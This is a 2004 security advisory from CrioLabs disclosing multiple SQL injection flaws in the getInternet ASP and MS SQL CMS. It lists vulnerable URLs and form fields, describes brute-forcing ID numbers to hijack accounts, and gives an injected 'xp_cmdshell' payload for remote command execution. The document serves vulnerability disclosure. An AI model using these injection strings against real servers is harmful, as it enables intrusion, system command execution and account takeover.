getinternet.txt

`****************************************************************************************************  
CRIOLABS   
  
- Software: getInternet   
- Type: E-business:Internet  
- Company: getSolutions  
- Date: 09-9-2004  
  
  
****************************************************************************************************  
  
  
#Software: getInternet  
#Platform: ASP, Microsoft SQL  
#Comments: Administration section (Not Tested)  
  
  
  
  
## Description ##  
  
  
getInternet will allow you to maintain, manage and control all of the content on your website, 24/7, thereby saving you time  
and money. There is no limit to the amount of content that can be added to your website - updating information on your  
products and services, for example, can be done at your own convenience, and without the hassle of costly maintenance   
contracts!  
  
  
  
## Vulnerabilities ##  
  
  
  
## Multiple SQL-Injections ##  
  
  
Sql-Injection in Microsoft SQL Server can be very dangerous, default installation of MS SQL Server is running as SYSTEM,  
which is equivalent to Administrator access in Windows.  
An attacker can use stored procedures like master..xp_cmdshell to perform remote execution.  
  
  
/welcome.asp?page=content_search.asp&search=[SQL]  
  
/welcome.asp?page=content_display.asp&id=[SQL]&category=[SQL]  
  
/welcome.asp?page=category_display.asp&category=[SQL]  
  
/welcome.asp?page=contact_form.asp&id=[SQL]  
  
/checklogin.asp  
username: [SQL]  
password: [SQL]  
  
/lostpassword.asp  
Name: [SQL]  
Surname: [SQL]  
ID Number: [SQL]  
  
(Name and Surname are easily obtained, the attacker could bruteforce an ID number in hours and hijack an account)  
  
  
  
## Remote Execution Example ##  
  
  
An attacker could execute commands in the system via xp_cmdshell function of Microsoft SQL Server.  
  
/welcome.asp?page=content_display.asp&category=2&id=2; exec master..xp_cmdshell 'REMOTE COMMAND'--  
  
  
  
## History ##  
  
  
Vendor contacted Tue, 13 Jul 2004.  
  
  
  
## Credits ##  
  
Criolabs staff  
http://www.criolabs.net   
`